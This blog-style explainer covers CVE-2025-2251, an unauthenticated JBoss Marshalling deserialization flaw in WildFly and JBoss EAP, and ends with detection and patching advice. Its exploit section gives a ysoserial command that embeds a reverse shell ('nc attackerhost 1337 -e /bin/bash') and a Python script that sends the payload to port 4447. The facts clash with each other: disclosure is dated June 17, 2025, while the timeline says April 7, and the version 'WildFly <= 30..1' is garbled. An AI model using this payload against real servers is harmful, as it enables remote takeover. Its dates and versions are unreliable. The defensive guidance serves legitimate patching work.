CVE-2025-2251 - How a Severe EJB Deserialization Flaw in WildFly & JBoss EAP Lets Attackers Execute Arbitrary Code (2025)

On June 17, 2025, a critical vulnerability was publicly disclosed in WildFly and JBoss Enterprise Application Platform (EAP), tracked as CVE-2025-2251. This vulnerability lies in how these platforms handle remote Enterprise JavaBeans (EJB) invocations, specifically with JBoss Marshalling. With no prior authentication required, this flaw opens the door to remote code execution (RCE) on affected systems — a nightmare scenario for organizations running these popular Java application servers.

What is CVE-2025-2251?

CVE-2025-2251 is a high-severity security flaw affecting WildFly and JBoss EAP. These Java app servers are widely used by enterprises to host business-critical software. Both products support remote EJB calls — a way for clients to invoke methods on beans running in the server.

The flaw happens because the EJB remote invocation mechanism uses JBoss Marshalling to serialize and deserialize Java objects. Unfortunately, it does so _without properly restricting what kinds of classes can be deserialized_.

Why Deserialization is Dangerous (The JBoss Marshalling Problem)

In Java, “serialization” means converting an object into bytes for transport or storage, and “deserialization” re-creates the object from the bytes. If a system deserializes data sent by remote users without checks, an attacker can send a _maliciously crafted Java object_ that, when loaded, executes code on the server — often as SYSTEM or with another high privilege.

JBoss Marshalling is the framework used for serializing EJB call payloads. Because it accepts arbitrary byte streams as long as they look like serialized Java objects, a hacker can send gadget-laden input that triggers code execution, exploiting known Java deserialization “gadgets” (class chains that do evil stuff during instantiation).

Let’s see what this looks like

1. Attacker scans for WildFly/JBoss EAP’s EJB remote services — commonly running on ports like 4447.
2. Attacker crafts a serialized Java object using _ysoserial_ or custom payloads, embedding a command execution gadget (for example, leveraging a CommonsCollections gadget chain).

Exploit Code Example

Below is an example of how exploitation might work, assuming an attacker is targeting the EJB endpoint on port 4447, which is the default for JBoss/WildFly remote EJBs.

Note: This code is for educational purposes only. Never use on systems without explicit permission.

1. Generate a Malicious Payload

Use the ysoserial tool to craft a serialized Java payload. For example, to spawn a reverse shell back to the attacker’s host:

java -jar ysoserial.jar CommonsCollections1 'nc attackerhost 1337 -e /bin/bash' > exploit.ser

Here’s a simple Python script that sends the raw payload

import socket

target_host = "victim_host"
target_port = 4447

with open("exploit.ser", "rb") as f:
    payload = f.read()

s = socket.socket()
s.connect((target_host, target_port))
s.sendall(payload)
s.close()

Once the payload reaches the JBoss server, it gets deserialized and runs the embedded malicious command — the attacker gains remote shell access.

(Note: Real-world exploitation would involve mimicking the EJB invocation protocol. Tools like marshalsec provide more advanced payload crafting for JBoss endpoints.)

How to Detect If You’re Vulnerable

- Default port exposure: Check for publicly accessible EJB ports, such as 4447 (or custom ports for JBoss remoting).
- Product versions: If you are running WildFly <= 30..1 or JBoss EAP 7.x, you are likely vulnerable.
- Logs: Look for unexpected exceptions or signs of deserialization errors, or attempts to load odd Java classes.

Remediation Steps

1. Patch Immediately: Official Red Hat security advisory

Enable Deserialization Filtering:

Recent Java versions allow you to specify which classes can be deserialized using the jdk.serialFilter property.

Monitor:

Set up logging/alerting on connections to EJB ports and on deserialization errors.

References

- Red Hat CVE-2025-2251 advisory
- WildFly security issues page
- JBoss Marshalling documentation
- ysoserial: Java deserialization exploits
- marshalsec: JBoss & WildFly exploit tool
- Java serialization filter guide
- OWASP Deserialization Cheat Sheet

Conclusion

_CVE-2025-2251_ is a stark reminder of how risky Java deserialization can be, especially in platforms as widely deployed as WildFly and JBoss EAP. If you run these products, patch as soon as possible and lock down any unnecessary remote EJB access. For attackers, an open EJB port means probable RCE with almost no barriers!

If you wish to learn more about deserialization flaws, explore the ysoserial and marshalsec projects, and always follow best practices with serialization and remote endpoints.

Timeline

Published on: 04/07/2025 14:15:24 UTC
Last modified on: 04/24/2025 11:00:53 UTC